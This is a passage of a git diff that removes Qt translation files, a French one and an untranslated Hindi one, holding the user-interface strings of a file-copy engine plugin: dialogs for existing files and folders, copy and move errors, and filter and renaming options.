- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation>Régles de renommage</translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation>Impossible de supprimer le répertoire</translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation>%1 - copie</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copie (%2)</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation>Les checksums ne correspondent pas</translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation>Impossible de lire le fichier source: </translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation>Fichier diminué durrant la lecture, possible changement de données</translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation>Le moteur est forcé en déplacement, vous ne pouvez pas copier avec</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation>Le moteur est forcé en copie, vous ne pouvez pas déplacer avec</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation>Le mode as été forcé précédement, c&apos;est une erreur interne, merci de le repporter</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation>Erreur d&apos;options</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Moteur d&apos;options non chargé, impossible d&apos;accédrer aux filtres</translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation>Erreur sur le fichier</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation>Erreur</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation>Taille</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation>Modifié</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation>Nom de fichier</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation>&amp;Toujours effectuer cette action</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation>Mettre à la fin</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation>Réessayer</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation>&amp;Passer</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation>&amp;Annuler</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation>Erreur sur un dossier</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation>Nom de répertoire</translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation>Le fichier existe</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>Source</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>Destination</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation>Taille</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation>Modifié</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation>Nom de fichier</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation>Suggérer un &amp;nouveau nom</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation>&amp;Toujours effectuer cette action</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation>&amp;Renommer</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation>&amp;Ecraser</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation>&amp;Passer</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation>&amp;Annuler</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation>Ecraser si plus récent</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation>Ecraser si la date de modification est différente</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation>%1 - copie</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copie (%2)</translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation>Ces fichiers sont identiques</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation>La source et la destination sont identiques</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation>Taille</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation>Modifié</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation>Nom de fichier</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation>Suggérer un &amp;nouveau nom</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation>&amp;Toujours effectuer cette action</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation>&amp;Renommer</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation>&amp;Passer</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation>&amp;Annuler</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation>%1 - copie</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copie (%2)</translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation>Les répertoires sont identiques</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>Source</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>Destination</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation>La source et la destination sont identiques</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation>Modifié</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation>Nom de répertoire</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation>Suggérer un &amp;nouveau nom</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation>&amp;Toujours effectuer cette action</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation>&amp;Renommer</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation>Fusionner</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation>Passer</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation>&amp;Annuler</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation>Dossier déjà existant</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation>%1 - copie</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copie (%2)</translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation>Transférer les droits des fichiers</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation>Garder la date du fichier</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation>En cas d&apos;erreur de répertoire</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation>Demander</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation>Passer</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation>Fusionner</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation>Renommer</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation>Vérifier si le répertoire de destination existe</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation>Taille de block</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation>Ko</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation>Démmarer automatiquement le transfert</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation>Lors d&apos;une collision de dossier</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation>Checksum</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation>Seulement après erreur</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation>Ignorer si impossible</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation>Faire un checksum</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation>Activer le buffer de l&apos;OS</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation>Filtres</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation>Régles de renommage</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation>Buffer de l&apos;OS seulement si plus petit que</translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation>%1 - copie</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copie (%2)</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation>Le répertoire n&apos;existe pas</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation>Le répertoire n&apos;est pas lisible</translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/hi/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/hi/translation.ts
deleted file mode 100644
index 338cb72..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/hi/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
